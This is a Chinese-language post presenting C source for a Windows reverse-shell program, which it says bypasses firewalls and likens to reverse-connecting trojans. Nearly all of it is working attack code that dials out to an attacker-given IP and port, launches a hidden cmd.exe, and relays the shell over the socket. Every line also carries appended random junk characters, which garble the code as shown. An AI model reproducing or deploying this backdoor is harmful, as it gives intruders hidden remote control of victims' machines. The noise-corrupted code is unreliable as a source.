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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s|NjT  
<3j"&i]Tm*  
/* ============================== :Pv*, qHE  
Rebound port in Windows NT +d%L\^?F  
By wind,2006/7 ]7Z{ 8)T  
===============================*/ H`geS  
#include _Dwqy(   
#include ykFJ%sw3X  
yZWoN&  
#pragma comment(lib,"wsock32.lib") V._(q^  
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void OutputShell(); {iq3|x2[:  
SOCKET sClient; -<_Ww\%8M  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?SC[G-b  
Hp(D);0+)  
void main(int argc,char **argv) o^V(U~m]  
{ LB.co4  
WSADATA stWsaData; "hQ_sgz[Z  
int nRet; o'$jNciOW  
SOCKADDR_IN stSaiClient,stSaiServer; {Ions~cO)  
T_lsGu/  
if(argc != 3) ymNnkFv  
{ NVl [kw  
printf("Useage:\n\rRebound DestIP DestPort\n"); zR32PG>9  
return; yu;SH[{Wi  
} _kY#D;`:r  
W.w)H@]7m  
WSAStartup(MAKEWORD(2,2),&stWsaData); r lKlpl  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G5FaYL.7  
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stSaiClient.sin_family = AF_INET; Y1arX^Zb  
stSaiClient.sin_port = htons(0); ?}B:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8L1ohj  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d|iy#hy"_  
{ Q*XE h  
printf("Bind Socket Failed!\n"); q}FVzahv  
return; aBzszp]l+  
} @+WQ ^  
e hA;i.n  
stSaiServer.sin_family = AF_INET; +L=*:e\j  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y8\S}E 0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @EoZI~  
)aX2jSp  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v<9&B94z  
{ $ F S_E  
printf("Connect Error!"); 1LY8Ma]E  
return; Z,X'-7YkU  
} M+!x}$ &v  
OutputShell(); w%zRHf8C  
} O MX-_\")  
nL?oTze*p  
void OutputShell() .{S8f#p9T  
{ efY8M2  
char szBuff[1024]; 1+7GUSIb  
SECURITY_ATTRIBUTES stSecurityAttributes; ,2]X}&{i  
OSVERSIONINFO stOsversionInfo; O$ HBO  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z7-k`(l4  
STARTUPINFO stStartupInfo; @WKzX41'  
char *szShell; 99EXo+g  
PROCESS_INFORMATION stProcessInformation; [0UGuj  
unsigned long lBytesRead; eVl'\aUd  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |D.O6?v@  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Oi} T2I  
stSecurityAttributes.lpSecurityDescriptor = 0; &Sp -w?kM  
stSecurityAttributes.bInheritHandle = TRUE; nP UqMn'  
{>bW>RO)  
="d*E/##  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5%}wV,Y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j:bgR8 %e  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _Zc%z@}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vEG'HOP  
stStartupInfo.wShowWindow = SW_HIDE; bOI3^T  
stStartupInfo.hStdInput = hReadPipe; HWm#t./  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  2Cg$,#H  
4m-I5!=O  
GetVersionEx(&stOsversionInfo); 7}_!  
RB?V7uX  
switch(stOsversionInfo.dwPlatformId) T%R:NQf  
{ yE} dj)wd  
case 1: 5yVkb*8HS  
szShell = "command.com"; V|>oGtt7  
break; gLsU:aeCT  
default: fj,m  
szShell = "cmd.exe"; KL'zXkS  
break; <:|3rfm#  
} tU/k-W3X  
q:8_]Qt  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); voe7l+Xk  
F%rHU5CkV  
send(sClient,szMsg,77,0); 8Q)@  
while(1) 26n^Dy>}  
{ UMN*]_'+;b  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (.3'=n|kE  
if(lBytesRead) CCDDK L]N:  
{ 4ujvD^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t_ur&.^SB  
send(sClient,szBuff,lBytesRead,0); A`6ra}U<  
} )$Z(|M4  
else P;]F=m+ *V  
{ [hRU&z;W  
lBytesRead=recv(sClient,szBuff,1024,0); :!zC"d9@  
if(lBytesRead<=0) break; V,ZY*f0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); m?[5J)eR  
} H0"=Vs,n  
} "gW7<ilw  
 8%RI7Mg  
return; D,ly#Nn  
}
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